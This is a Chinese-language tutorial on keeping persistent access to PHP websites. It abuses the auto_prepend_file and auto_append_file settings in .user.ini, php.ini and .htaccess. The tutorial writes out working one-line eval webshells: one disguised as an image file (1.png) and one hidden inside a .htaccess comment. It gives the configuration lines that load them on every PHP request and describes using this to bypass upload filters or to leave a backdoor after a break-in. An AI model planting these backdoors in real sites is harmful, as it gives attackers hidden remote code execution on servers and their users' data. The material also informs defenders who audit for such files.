1、.user.ini造成后门
1).user.ini
官网解释为:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
跟apache里的.htaccess相比,它的使用范围更广泛(CGI/FastCGI SAPI),只要是以fastcgi运行的php都可以用这个方法,nginx和iis下都可以。
跟php.ini的默认配置相比,这里可以使用除PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
注:php配置设定里的几种模式:
详细描述参考:https://www.php.net/manual/zh/configuration.changes.modes.php
2)构造思路
这里可以通过.user.ini设置配置选项(如php.ini下设置一样),但必须在相应的模式下才允许设置,但这里可以利用两个配置项设置一个简单的后门:
这两个选项的作用是,在php文件加载前,提前加载一个文件,如同require函数
例:auto_prepend_file=1.php
在访问该网站的php文件时,会自动先加载1.php
所以构造后门的思路是:借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
3)测试
测试环境:apache+php7.3
首先构建一句话木马1.png(伪装成图片):
<?php @eval($_request['shell']);?>
然后.user.ini :
auto_prepend_file=1.png
将.user.ini和1.png放到对应网站文件夹里,然后访问该文件夹里的任意php文件:
然后访问test.php,成功执行:
这里一般可以在某些文件上传场景中利用,不允许上传php文件,但如果该上传文件下存在php文件,就可以上传一个.user.ini和后门上去,尝试是否可以成功(思路与.htaccess差不多)
2、php.ini造成的后门
与上文一样,均是利用auto_prepend_file或auto_append_file选项,这里需要对php.ini文件进行修改。。所以我感觉挺鸡肋的,如果在已经渗透成功后留后门也是一种方式。
但使用php.ini时,需要结合include_path选项一起使用,不然其不知道去哪寻找预加载的文件
其会去include_path里设置的路径下去寻找;所以一般利用方式如下:
假设预加载的后门1.php在/includes
则在php.ini里添加:
include_path='/includes'
auto_prepend_file=1.php
3、.htaccess造成的后门
与上述两种方式类似,同样利用auto_append_file或auto_prepend_file;
与绕过文件上传时上传.htaccess原理类似,不过这里改成了预加载,而不是将图片按php文件解析
1)利用前需要满足两个条件:
Apache中修改配置文件httpd.conf
1、修改如下内容
Options FollowSymLinks
AllowOverride None
为:
Options FollowSymLinks
AllowOverride All
2、开启rewrite模块
LoadModule rewrite_module modules/mod_rewrite.so
2)构造.htaccess文件:
php_value auto_append_file .htaccess
#<?php eval($_REQUEST['shell']);
3)然后访问任意php文件都会加载该后门: